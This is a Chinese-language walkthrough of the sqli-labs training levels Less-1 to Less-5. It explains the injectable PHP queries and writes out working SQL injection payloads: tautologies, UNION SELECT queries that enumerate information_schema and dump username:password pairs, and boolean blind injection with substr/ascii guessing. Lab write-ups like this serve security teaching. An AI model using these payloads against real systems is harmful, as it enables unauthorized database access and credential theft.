Less-1
思路
我们可以先在后面加上一个?id=1'
,来看一下效果:
从上面的错误中可以看出来,我们提交到SQL中的1'
构造后形成了'1'' LIMIT 0,1
,我们需要想的就是如何能将多余的'
去掉,尝试'or 1=1--+
就构成了:
select xxx where id = '1' or 1 = 1 --+' limit 0,1
绿了,它绿了,也就是说可以正常的返回数据了,接下来我们就使用order by
对前面的数据进行排序,这里有三行,那么我们就只能用order by 3
,超过3就会报错。
分析
从源代码中分析一下,它的SQL语句为:
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0, 1";
id
参数在拼接SQL语句时,未对id
进行任何的过滤等操作,所以当提交'or 1=1--+
,直接构成了:
SELECT * FROM users WHERE id='1' or 1 = 1 --+ LIMIT 0, 1
因为or 1 = 1
所以说永远为true
。
解决方案
先介绍一下union
联合注入,它的作用是将两个SQL语句进行整合。但是它要求前后两条语句的列数是一样的。
首先添加,?id=1' and 1=2 union select 1,database(),3 --+
来获取当前数据库的名称。
数据库的名字叫做security
,下一步获取数据表,?id=1' and 1=2 union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
这里看到有一个users
的数据表,猜测想要获得的管理员的账号密码在里面。然后我们在进行下一步,获取user
中的字段名,输入?id=1' and 1=2 union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')#
最后输入:?id=1' and 1=2 union select null,null,(select group_concat(username,0x3a,password) from users)#
,不行的话就将#
换成%23
或者是--+
Less-2
思路
首先我们考虑将'(单引号)
添加到数字中,我们会得到一个错误提示:
可以看出来我们现在执行的查询语句是:
select * from TABLE where id = 1';
所以这里是奇数个的单引号破坏了查询语句,使得出现了语法错误,因此我们得出来结论,查询代码使用了整数,也就是下面的样子:
select * from TABLE where id = (some integer value);
分析
从源代码中查看SQL语句如下:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
可以看出,它对id没有经过特殊的处理,所以说我们要注入的话就和Less-1一样了,只不过是比Less-1少了1后面的一个引号。这里就补在过多的赘述了,详情参考Less-1。
解决方案
Less-3
思路
这次们直接考虑使用?id='
测试,发现注入代码后我们得到这样一个错误:
MySQL server version for the right syntax to use near "") LIMIT 0,1' at line 1
通过这个错误我们就可以直接确定出,开发者使用的查询语法大体上应该是这样的:
select login_name, password from table where id= ('our input here')
这样的话,我们注入的代码的形式就可以是这样的:?id=1') --+
这样一来它直接就会返回用户名和密码,同时将后面的注释掉。
分析
通过查看源代码我们看到,他的SQL查询语句是这样的:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
所以说我们可以直接注入的就有') or '1'=('1'
和) or 1=1 --+
两种,剩下的部分和Less-1中的过程步骤是一样的,只是最终注入的时候的代码在开始出有一点点区别,即将Less-1中的'
后面添加)
。
解决方案
Less-4
思路
我们使用?id=1"
测试一下,发现返回的错误提示是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
这就意味着,代码中对id
参数进行了""
和()
包装,所以我们在用这样的代码进行注入:?id=1") --+
。这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。
分析
在源代码中看相关的语句,我们发现他的SQL语句是这样的:
$sql="SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1";
所以们可以成功注入的就有") or "1"=("1
和") or 1=1 --+
两种,其他部分和Less-1的一样,只是将'
更换成")
。
解决方案
Less-5
思路
从这一关开始,我们刚开始还是按部就班的尝试前面的几种方法,发现它现在只是显示一个you are in...
,不会返回数据库中的信息了,所以我们要开始进行盲注了。下面的函数的用法请自行查询用法。
利用
left(database(), 1)
进行尝试,即构造?id=1' and left(version(),1)=5 %23
,可以看到,返回的结果是:you are in...
,即数据库的版本是5.xxx,当版本信息不正确的时候,会什么都不显示,需要重新猜。接下来我们需要看一下数据库的长度,我们使用
length()
函数测试一下。?id=' and length(database())=8 %23
:显示正确,所以我们判断,数据库的长度是8.
确定了数据库的名字的长度之后,我们就开始猜测它的名字:
?id=1' and left(database(),1)>'a' %23
,返回的结果是正确的,为了节省时间我们采用二分法进行测试,最终测试出第一个字母是s
,接下来就是一个一个的测试,最终得出来数据库的名字叫做security
。接下来就是猜测数据库中的数据表了,我们使用
substr()
和ascii()
函数进行尝试:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >80 --+
,返回的结果是正确的,我们利用二分法就再一次进行尝试,最终确定出第一个字母是e
,以此类推,最终爆破出第一个数据表是emails
。那如何获取第二个表呢?思考一下!,这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0 个开始,获取第一个。那要获取第二个是不是就是limit 1,1!。此时就是重复上面的过程了,最终确定出所有的数据表的名称。
既然此时我们知道其中有一张表的名字叫做
username
,那么我们猜测是不是他的字段名中有username、password
等呢,我们就使用regexp
试一下,?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+
:将上面的
username
换成password
也是一样的。利用
ord()
和mid()
函数获取users 表的内容。获取users 表中的内容。获取username 中的第一行的第一个字符的ascii,与68 进行比较,即为D。而我们从表中得知第一行的数据为Dumb。所以接下来只需要重复造轮子即可。
分析
通过上面的例子。将通过布尔盲注SQL 的所有的payload 进行演示了一次。想必通过实例更能够对SQL布尔盲注语句熟悉和理解了。顺便看一下源代码吧:
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row) {
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
} else {
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
解决方案
就是将上面所有的步骤执行一遍即可解决此题。后续我会更新使用其他的方法(报错注入和延时注入)。